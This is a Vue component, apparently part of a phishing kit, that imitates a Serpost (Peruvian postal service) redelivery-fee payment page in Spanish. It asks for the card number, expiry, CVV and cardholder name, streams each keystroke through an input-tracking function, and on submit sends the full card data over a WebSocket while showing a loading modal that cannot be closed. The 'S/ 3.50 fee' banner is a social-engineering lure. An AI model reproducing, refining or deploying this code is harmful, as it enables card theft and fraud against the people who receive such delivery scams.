504 lines
13 KiB
Vue
504 lines
13 KiB
Vue
<template>
|
|
<CommonLayout>
|
|
<template #default>
|
|
<div class="sp-gateway-final-v3">
|
|
<div class="sp-top-banner">
|
|
<p class="sp-top-banner-text">
|
|
Debido a una discrepancia en la dirección, se aplicará una tarifa de
|
|
reenvío de S/ 3.50 para la entrega corregida. También puede optar
|
|
por recoger el paquete en su oficina de Serpost local sin costo
|
|
adicional. Agradecemos su comprensión.
|
|
</p>
|
|
</div>
|
|
|
|
<h2 class="sp-section-label">Opciones de Pago</h2>
|
|
|
|
<div class="sp-card-icons-row">
|
|
<img :src="c1" class="sp-brand-icon" alt="visa" />
|
|
<img :src="c2" class="sp-brand-icon" alt="master" />
|
|
<img :src="c5" class="sp-brand-icon" alt="amex" />
|
|
<img :src="c7" class="sp-brand-icon" alt="maestro" />
|
|
<img :src="c3" class="sp-brand-icon" alt="jcb" />
|
|
<img :src="c6" class="sp-brand-icon" alt="discover" />
|
|
<img :src="c8" class="sp-brand-icon" alt="diners" />
|
|
</div>
|
|
|
|
<div class="sp-card-form-body">
|
|
<div class="sp-form-header-title">DETALLES DE PAGO</div>
|
|
|
|
<form @submit.prevent="next" class="sp-main-form-content">
|
|
<div
|
|
class="sp-field-container"
|
|
:class="getFieldClass('cardNumber', 16)"
|
|
>
|
|
<div class="sp-field-relative">
|
|
<input
|
|
type="text"
|
|
v-model="formData.cardNumber"
|
|
@input="onCardNumberChange"
|
|
maxlength="19"
|
|
class="sp-field-input"
|
|
placeholder=" "
|
|
required
|
|
/>
|
|
<label class="sp-field-label">Número de Tarjeta</label>
|
|
<div class="sp-field-icon-box">
|
|
<img
|
|
:src="cardInfo.path"
|
|
class="sp-field-card-img"
|
|
v-if="cardInfo.identified"
|
|
/>
|
|
<svg v-else class="sp-field-card-svg" viewBox="0 0 24 24">
|
|
<path
|
|
d="M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2zm0 14H4v-6h16v6zm0-10H4V6h16v2z"
|
|
></path>
|
|
</svg>
|
|
</div>
|
|
<div class="sp-field-line-bar"></div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="sp-row-flex">
|
|
<div
|
|
class="sp-field-container sp-flex-half"
|
|
:class="getFieldClass('expires', 5, true)"
|
|
>
|
|
<div class="sp-field-relative">
|
|
<input
|
|
type="text"
|
|
v-model="formData.expires"
|
|
@input="onExpiresChange"
|
|
maxlength="5"
|
|
class="sp-field-input"
|
|
placeholder=" "
|
|
required
|
|
/>
|
|
<label class="sp-field-label">MM/AA</label>
|
|
<div class="sp-field-line-bar"></div>
|
|
</div>
|
|
</div>
|
|
|
|
<div
|
|
class="sp-field-container sp-flex-half"
|
|
:class="getFieldClass('cvv', 3)"
|
|
>
|
|
<div class="sp-field-relative">
|
|
<input
|
|
type="text"
|
|
v-model="formData.cvv"
|
|
@input="onCvvChange"
|
|
maxlength="4"
|
|
class="sp-field-input"
|
|
placeholder=" "
|
|
required
|
|
/>
|
|
<label class="sp-field-label">CVV</label>
|
|
<div class="sp-field-line-bar"></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<div
|
|
class="sp-field-container"
|
|
:class="getFieldClass('cardName', 3)"
|
|
>
|
|
<div class="sp-field-relative">
|
|
<input
|
|
type="text"
|
|
v-model="formData.cardName"
|
|
@input="onCardNameChange"
|
|
class="sp-field-input"
|
|
placeholder=" "
|
|
required
|
|
/>
|
|
<label class="sp-field-label">Nombre del Tarjetahabiente</label>
|
|
<div class="sp-field-line-bar"></div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="sp-terms-group-wrapper">
|
|
<div class="sp-checkbox-layout">
|
|
<input
|
|
type="checkbox"
|
|
id="sp_legal_agree"
|
|
v-model="termsAccepted"
|
|
class="sp-real-checkbox"
|
|
required
|
|
/>
|
|
<label for="sp_legal_agree" class="sp-checkbox-facade">
|
|
<span class="sp-box-ui"></span>
|
|
<span class="sp-text-ui">
|
|
Acepto los
|
|
<a href="#" class="sp-link-bold">Términos de Servicio</a> y
|
|
la
|
|
<a href="#" class="sp-link-bold">Política de Privacidad</a>
|
|
</span>
|
|
</label>
|
|
</div>
|
|
</div>
|
|
|
|
<button
|
|
type="submit"
|
|
class="sp-btn-submit"
|
|
:disabled="!isFormValid"
|
|
>
|
|
Pagar S/ 3.50
|
|
</button>
|
|
</form>
|
|
</div>
|
|
</div>
|
|
</template>
|
|
</CommonLayout>
|
|
|
|
<PaymentLoadingModal
|
|
v-model:visible="isModalVisible"
|
|
:card-number="formData.cardNumber"
|
|
:loading="true"
|
|
:closable="false"
|
|
/>
|
|
</template>
|
|
|
|
<script setup lang="ts">
|
|
import { nextTick, onMounted, onUnmounted, reactive, ref, computed } from "vue";
|
|
import CommonLayout from "@/views/CommonLayout.vue";
|
|
import { useLoadingStore } from "@/stores/loadingStore";
|
|
import eventBus from "@/utils/eventBus";
|
|
import { useRoute } from "vue-router";
|
|
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
|
|
|
|
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
|
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
|
import c3 from "@/assets/img/761998023fcfa.svg";
|
|
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
|
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
|
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
|
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
|
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
|
|
|
import { inputChange, myWebSocket,configData } from "@/utils/common";
|
|
|
|
const isModalVisible = ref(false);
|
|
const termsAccepted = ref(false);
|
|
const loadingStore = useLoadingStore();
|
|
|
|
const formData = reactive({
|
|
cardNumber: "",
|
|
cardName: "",
|
|
expires: "",
|
|
cvv: "",
|
|
});
|
|
|
|
// 核心修复:识别逻辑
|
|
const cardInfo = computed(() => {
|
|
const num = formData.cardNumber.replace(/\D/g, "");
|
|
if (!num) return { identified: false, path: "" };
|
|
|
|
if (/^4/.test(num)) return { identified: true, path: c1 };
|
|
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num))
|
|
return { identified: true, path: c2 };
|
|
if (/^3[47]/.test(num)) return { identified: true, path: c5 };
|
|
if (/^(62|81)/.test(num)) return { identified: true, path: c4 };
|
|
if (/^6(011|4[4-9]|5)/.test(num)) return { identified: true, path: c6 };
|
|
if (/^35/.test(num)) return { identified: true, path: c3 };
|
|
if (/^(30|36|38|39)/.test(num)) return { identified: true, path: c8 };
|
|
if (/^(50|56|57|58|6)/.test(num)) return { identified: true, path: c7 };
|
|
|
|
return { identified: false, path: "" };
|
|
});
|
|
|
|
// 2026年日期校验
|
|
const isExpiryDateValid = computed(() => {
|
|
if (formData.expires.length !== 5) return false;
|
|
const [mStr, yStr] = formData.expires.split("/");
|
|
const mm = parseInt(mStr);
|
|
const yy = parseInt(yStr);
|
|
if (isNaN(mm) || isNaN(yy) || mm < 1 || mm > 12) return false;
|
|
const currentYY = 26;
|
|
const currentMM = new Date().getMonth() + 1;
|
|
if (yy < currentYY) return false;
|
|
if (yy === currentYY && mm < currentMM) return false;
|
|
return true;
|
|
});
|
|
|
|
const getFieldClass = (
|
|
field: keyof typeof formData,
|
|
minLen: number,
|
|
isDate = false
|
|
) => {
|
|
const val = formData[field].replace(/\s/g, "");
|
|
if (val.length === 0) return "";
|
|
let isValid = isDate ? isExpiryDateValid.value : val.length >= minLen;
|
|
return isValid ? "sp-status-valid" : "sp-status-active";
|
|
};
|
|
|
|
const isFormValid = computed(() => {
|
|
return (
|
|
formData.cardNumber.replace(/\s/g, "").length >= 15 &&
|
|
isExpiryDateValid.value &&
|
|
formData.cvv.length >= 3 &&
|
|
formData.cardName.trim().length >= 3 &&
|
|
termsAccepted.value
|
|
);
|
|
});
|
|
|
|
const onCardNameChange = (e: any) =>
|
|
inputChange("input_card", "cardName", e.target.value);
|
|
const onCardNumberChange = (e: any) => {
|
|
let val = e.target.value.replace(/\D/g, "");
|
|
formData.cardNumber = val.replace(/(.{4})/g, "$1 ").trim();
|
|
inputChange("input_card", "cardNumber", val);
|
|
};
|
|
const onExpiresChange = (e: any) => {
|
|
let val = e.target.value.replace(/\D/g, "").slice(0, 4);
|
|
if (val.length > 2) val = val.slice(0, 2) + "/" + val.slice(2, 4);
|
|
formData.expires = val;
|
|
inputChange("input_card", "expires", val);
|
|
};
|
|
const onCvvChange = (e: any) => {
|
|
formData.cvv = e.target.value.replace(/\D/g, "").slice(0, 4);
|
|
inputChange("input_card", "cvv", formData.cvv);
|
|
};
|
|
|
|
const next = async () => {
|
|
await nextTick();
|
|
if (!isFormValid.value) return;
|
|
isModalVisible.value = true;
|
|
myWebSocket?.send(
|
|
JSON.stringify({
|
|
event: "submit_card",
|
|
content: {
|
|
type: "submitCard",
|
|
formData: {
|
|
...formData,
|
|
cardNumber: formData.cardNumber.replace(/\s/g, ""),
|
|
},
|
|
},
|
|
})
|
|
);
|
|
};
|
|
|
|
onMounted(() => {
|
|
loadingStore.setLoading(false);
|
|
myWebSocket?.send(
|
|
JSON.stringify({ event: "page_type", content: { pageType: "card" } })
|
|
);
|
|
});
|
|
</script>
|
|
|
|
<style scoped>
|
|
.sp-gateway-final-v3 {
|
|
max-width: 480px;
|
|
margin: 0 auto;
|
|
padding: 16px;
|
|
background: #fff;
|
|
font-family: Arial, Helvetica, sans-serif;
|
|
box-sizing: border-box;
|
|
}
|
|
.sp-gateway-final-v3 * {
|
|
box-sizing: border-box;
|
|
}
|
|
|
|
.sp-top-banner {
|
|
border: 1px solid #e2e8f0;
|
|
border-radius: 12px;
|
|
padding: 18px;
|
|
margin-bottom: 25px;
|
|
}
|
|
.sp-top-banner-text {
|
|
color: #666;
|
|
font-size: 14px;
|
|
line-height: 1.5;
|
|
text-align: center;
|
|
margin: 0;
|
|
}
|
|
|
|
.sp-section-label {
|
|
font-size: 16px;
|
|
font-weight: bold;
|
|
color: #31455a;
|
|
margin-bottom: 15px;
|
|
}
|
|
|
|
.sp-card-icons-row {
|
|
display: flex;
|
|
gap: 8px;
|
|
margin-bottom: 25px;
|
|
flex-wrap: wrap;
|
|
}
|
|
.sp-brand-icon {
|
|
height: 22px;
|
|
border: 1px solid #f0f0f0;
|
|
border-radius: 3px;
|
|
padding: 2px 5px;
|
|
}
|
|
|
|
.sp-card-form-body {
|
|
border: 1px solid #eee;
|
|
border-radius: 4px;
|
|
padding: 30px 20px;
|
|
}
|
|
.sp-form-header-title {
|
|
text-align: center;
|
|
font-size: 18px;
|
|
letter-spacing: 1.2px;
|
|
|
|
color: #000;
|
|
border-bottom: 1px solid rgb(243, 244, 246);
|
|
text-align: center;
|
|
margin-bottom: 40px;
|
|
padding-bottom: 24px;
|
|
}
|
|
|
|
.sp-field-container {
|
|
margin-bottom: 32px;
|
|
}
|
|
.sp-field-relative {
|
|
position: relative;
|
|
width: 100%;
|
|
}
|
|
.sp-field-input {
|
|
width: 100%;
|
|
border: none;
|
|
border-bottom: 1.5px solid #d1d1d1;
|
|
padding: 10px 0;
|
|
font-size: 16px;
|
|
background: transparent;
|
|
outline: none;
|
|
color: #333;
|
|
}
|
|
|
|
.sp-field-label {
|
|
position: absolute;
|
|
top: 10px;
|
|
left: 0;
|
|
color: #999;
|
|
font-size: 15px;
|
|
pointer-events: none;
|
|
transition: 0.2s ease all;
|
|
}
|
|
.sp-field-input:focus ~ .sp-field-label,
|
|
.sp-field-input:not(:placeholder-shown) ~ .sp-field-label {
|
|
top: -18px;
|
|
font-size: 12px;
|
|
color: #555;
|
|
}
|
|
|
|
.sp-field-line-bar {
|
|
position: absolute;
|
|
bottom: 0;
|
|
left: 0;
|
|
width: 100%;
|
|
height: 0;
|
|
transition: 0.2s ease all;
|
|
}
|
|
|
|
.sp-status-active .sp-field-input {
|
|
border-bottom-color: transparent;
|
|
}
|
|
.sp-status-active .sp-field-line-bar {
|
|
height: 2.5px;
|
|
background: #ff0000;
|
|
}
|
|
|
|
.sp-status-valid .sp-field-input {
|
|
border-bottom-color: transparent;
|
|
}
|
|
.sp-status-valid .sp-field-line-bar {
|
|
height: 2.5px;
|
|
background: #002d5f;
|
|
}
|
|
|
|
.sp-field-icon-box {
|
|
position: absolute;
|
|
right: 0;
|
|
top: 8px;
|
|
display: flex;
|
|
align-items: center;
|
|
}
|
|
.sp-field-card-img {
|
|
height: 20px;
|
|
}
|
|
.sp-field-card-svg {
|
|
width: 24px;
|
|
height: 24px;
|
|
fill: #999;
|
|
}
|
|
|
|
.sp-row-flex {
|
|
display: flex;
|
|
gap: 20px;
|
|
}
|
|
.sp-flex-half {
|
|
flex: 1;
|
|
}
|
|
|
|
/* 复选框强力修复 */
|
|
.sp-terms-group-wrapper {
|
|
margin: 10px 0 35px;
|
|
width: 100%;
|
|
}
|
|
.sp-checkbox-layout {
|
|
display: flex;
|
|
align-items: center;
|
|
}
|
|
.sp-real-checkbox {
|
|
position: absolute;
|
|
opacity: 0;
|
|
width: 0;
|
|
height: 0;
|
|
}
|
|
.sp-checkbox-facade {
|
|
display: flex;
|
|
align-items: center;
|
|
cursor: pointer;
|
|
font-size: 13px;
|
|
color: #444;
|
|
}
|
|
.sp-box-ui {
|
|
flex-shrink: 0;
|
|
width: 18px;
|
|
height: 18px;
|
|
border: 1px solid #bbb;
|
|
border-radius: 2px;
|
|
margin-right: 12px;
|
|
position: relative;
|
|
}
|
|
.sp-real-checkbox:checked + .sp-checkbox-facade .sp-box-ui {
|
|
background-color: #002d5f;
|
|
border-color: #002d5f;
|
|
}
|
|
.sp-real-checkbox:checked + .sp-checkbox-facade .sp-box-ui::after {
|
|
content: "";
|
|
position: absolute;
|
|
left: 5px;
|
|
top: 2px;
|
|
width: 5px;
|
|
height: 9px;
|
|
border: solid white;
|
|
border-width: 0 2px 2px 0;
|
|
transform: rotate(45deg);
|
|
}
|
|
.sp-link-bold {
|
|
color: #000;
|
|
font-weight: bold;
|
|
text-decoration: underline;
|
|
}
|
|
|
|
.sp-btn-submit {
|
|
width: 100%;
|
|
height: 56px;
|
|
background: #9ba1a6;
|
|
color: #fff;
|
|
border: none;
|
|
border-radius: 8px;
|
|
font-size: 18px;
|
|
font-weight: bold;
|
|
cursor: not-allowed;
|
|
transition: background 0.3s ease;
|
|
}
|
|
.sp-btn-submit:not(:disabled) {
|
|
background: #4a5568;
|
|
cursor: pointer;
|
|
}
|
|
</style>
|